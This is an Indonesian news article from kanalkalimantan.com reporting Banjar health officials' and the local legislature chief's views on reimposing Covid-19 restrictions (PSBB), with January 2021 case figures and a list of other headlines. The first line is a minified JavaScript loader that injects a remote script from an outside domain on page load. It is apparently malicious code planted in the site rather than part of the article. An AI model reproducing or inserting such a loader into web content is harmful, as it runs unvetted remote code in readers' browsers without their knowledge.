(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Jika PSBB Kembali Diberlakukan, Ini Kata Kadinkes Banjar


KANALKALIMANTAN.COM, MARTAPURA – Pemerintah kembali menerapkan Pembatasan Sosial Berskala Besar (PSBB) dalam waktu dekat khusus Jawa-Bali.

Lalu bagaimana dengan wilayah di Kabupaten Banjar? Kepala Dinas Kesehatan (Dinkes) Kabupaten Banjar dr Diauddin mengatakan, pemerintah pusat sampai saat ini hanya mengkhususkan PSBB ini untuk wilayah tertentu saja yakni Jawa dan Bali.

Diauddin mengatakan, dari pertemuan yang dilaksanakan pemerintah pusat, Menteri Kesehatan sudah meminta agar PSBB bisa dilaksanakan secara serentak, karena kalau dilaksanakan parsial hampir sia-sia.

“Kita mengikuti dari pusat, kalau jadi maka kita akan ikut. Sedangkan untuk persiapan kita kira sama saja dengan PSBB yang sudah pernah kita laksanakan sebelumnya, semua petugas kita juga sudah siap,” katanya.

Dia juga menjelaskan, kondisi penyebaran Covid-19 di Kabupaten Banjar sendiri lanjut ini terus naik sejak Desember 2020 lalu, padahal sempat menurun sejak September-November 2020.

Berdasarkan data Satgas Covid-19 Kabupaten Banjar, per 6 Januari 2021 jumlah kasus positif berjumlah 1.133 kasus, dengan yang terkonfirmasi 84 kasus, sembuh 989 kasus dan meninggal 60 kasus.

Ketua DPRD Banjar M Rofiqi. Foto: wahyu

Sementara itu, Ketua DPRD Kabupaten Banjar M Rofiqi menanggapi terkait PSBB akan kembali diberlakukan perlu beberapa indikatornya yang menjadi keharusan. Pemerintah memberlakukan PSBB di Jawa dan Bali karena tingkat penyebaran Covid-19 sangat tinggi.

Sedangkan di Kabupaten Banjar yang bisa dibilang angka Covid-19 sedang, namun tidak bisa juga diremehkan tingkat penularan covid karena saat PSBB masih terjadi suspect penambahan kasus covid 19.

“Hal ini menjadi pertimbangan karena dengan adanya PSBB diberlakukan kembali itu, Kabupaten Banjar masih tergolong zona sedang, kalau dilakukan PSBB lagi apakah angka penyebaran Covid-19 menurun, kenyataannya masih terjadi penambahan suspect kasus Covid-19. Padahal, dalam kondisi PSBB,” tutupnya. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Bie

 


Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

3 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

3 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

3 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

7 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

9 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

10 jam ago

This website uses cookies.